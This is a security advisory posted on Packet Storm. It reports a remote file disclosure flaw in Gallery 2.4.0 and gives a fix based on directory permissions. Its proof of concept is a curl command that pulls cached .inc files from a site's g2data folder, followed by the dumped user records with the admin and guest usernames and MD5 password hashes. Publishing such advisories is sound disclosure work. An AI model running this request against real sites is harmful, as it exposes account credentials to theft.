exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

gallery2.4.0.txt

gallery2.4.0.txt
Posted Jun 11, 2006
Authored by Federico Fazzi

gallery 2.4.0 suffers from a remote file disclosure vulnerability.

tags | advisory, remote
SHA-256 | c657bd9378dc6bd3199c13287d6a1dc9cde66ac1668c32892977cef0d954162a

gallery2.4.0.txt

Change Mirror Download
-----------------------------------------------------
Advisory id: FLS:004

Author: Federico Fazzi
Date: 08/06/2006, 1:04
Sinthesis: gallery 2.4.0 full, remote file disclosure
Type: low
Product: http://gallery.menalto.com/
Patch: unavailable
-----------------------------------------------------


1) Description:

The installation of gallery write installation log file
and .inc file, where are registered login and password
of master account, the login is in plain-text the instead
the password is an encrypted md5. It the positions of
criticals files,

/g2data/Installog-*.txt
/g2data/cache/entity/0/0/*.inc

Now if you want, you can get all file and read the data
of master, and others.


2) Proof of concept:

curl "http://example/gallery2/g2data/cache/entity/0/0/[1-2].inc" -o
"#1.data"
(note: thats numbers of *.inc are random!)

reading these files:

1.inc
--
modules/core/classes/GalleryUser.class|O:11:"GalleryUser":15:{s:9:"_userName";s:5:"guest";s:9:"_fullName";s:5:"Guest";s:15:"_hashedPassword";s:36:"e\Pj15d716b24485cd6f53f71ceaf9e965fb";s:6:"_email";N;s:9:"_language";N;s:3:"_id";i:5;s:18:"_creationTimestamp";i:1149727740;s:11:"_isLinkable";i:0;s:7:"_linkId";N;s:13:"_linkedEntity";N;s:22:"_modificationTimestamp";i:1149727740;s:13:"_serialNumber";i:1;s:11:"_entityType";s:11:"GalleryUser";s:15:"_onLoadHandlers";N;s:17:"_persistentStatus";O:8:"stdClass":3:{s:5:"flags";i:0;s:8:"modified";a:0:{}s:13:"originalValue";a:0:{}}}
--

2.inc
--
modules/core/classes/GalleryUser.class|O:11:"GalleryUser":15:{s:9:"_userName";s:5:"admin";s:9:"_fullName";s:21:"Gallery

Administrator";s:15:"_hashedPassword";s:36:"6d`qd1f78da8e31fe86f714fe9370ec25c9a";s:6:"_email";s:10:"test@test.it";s:9:"_language";N;s:3:"_id";i:6;s:18:"_creationTimestamp";i:1149727740;s:11:"_isLinkable";i:0;s:7:"_linkId";N;s:13:"_linkedEntity";N;s:22:"_modificationTimestamp";i:1149727740;s:13:"_serialNumber";i:1;s:11:"_entityType";s:11:"GalleryUser";s:15:"_onLoadHandlers";N;s:17:"_persistentStatus";O:8:"stdClass":3:{s:5:"flags";i:0;s:8:"modified";a:0:{}s:13:"originalValue";a:0:{}}}
--

we have discovered some information of guest account
and master account, reassumed:

Name of admin: "Guest" / "Gallery Administrator"
Name of account: "guest" / "admin"
Password of account (md5encrypt): "e\Pj15d716b24485cd6f53f71ceaf9e965fb" /
"6d`qd1f78da8e31fe86f714fe9370ec25c9a"
Mail addr: "test@test.it"


3) Solution:

Apply the permission of directories and files into g2data/

(-rwx-----x)
chmod 701 g2data/
Login or Register to add favorites

File Archive:

July 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Jul 1st
    27 Files
  • 2
    Jul 2nd
    10 Files
  • 3
    Jul 3rd
    35 Files
  • 4
    Jul 4th
    27 Files
  • 5
    Jul 5th
    18 Files
  • 6
    Jul 6th
    0 Files
  • 7
    Jul 7th
    0 Files
  • 8
    Jul 8th
    28 Files
  • 9
    Jul 9th
    44 Files
  • 10
    Jul 10th
    24 Files
  • 11
    Jul 11th
    25 Files
  • 12
    Jul 12th
    11 Files
  • 13
    Jul 13th
    0 Files
  • 14
    Jul 14th
    0 Files
  • 15
    Jul 15th
    28 Files
  • 16
    Jul 16th
    6 Files
  • 17
    Jul 17th
    34 Files
  • 18
    Jul 18th
    6 Files
  • 19
    Jul 19th
    34 Files
  • 20
    Jul 20th
    0 Files
  • 21
    Jul 21st
    0 Files
  • 22
    Jul 22nd
    0 Files
  • 23
    Jul 23rd
    0 Files
  • 24
    Jul 24th
    0 Files
  • 25
    Jul 25th
    0 Files
  • 26
    Jul 26th
    0 Files
  • 27
    Jul 27th
    0 Files
  • 28
    Jul 28th
    0 Files
  • 29
    Jul 29th
    0 Files
  • 30
    Jul 30th
    0 Files
  • 31
    Jul 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close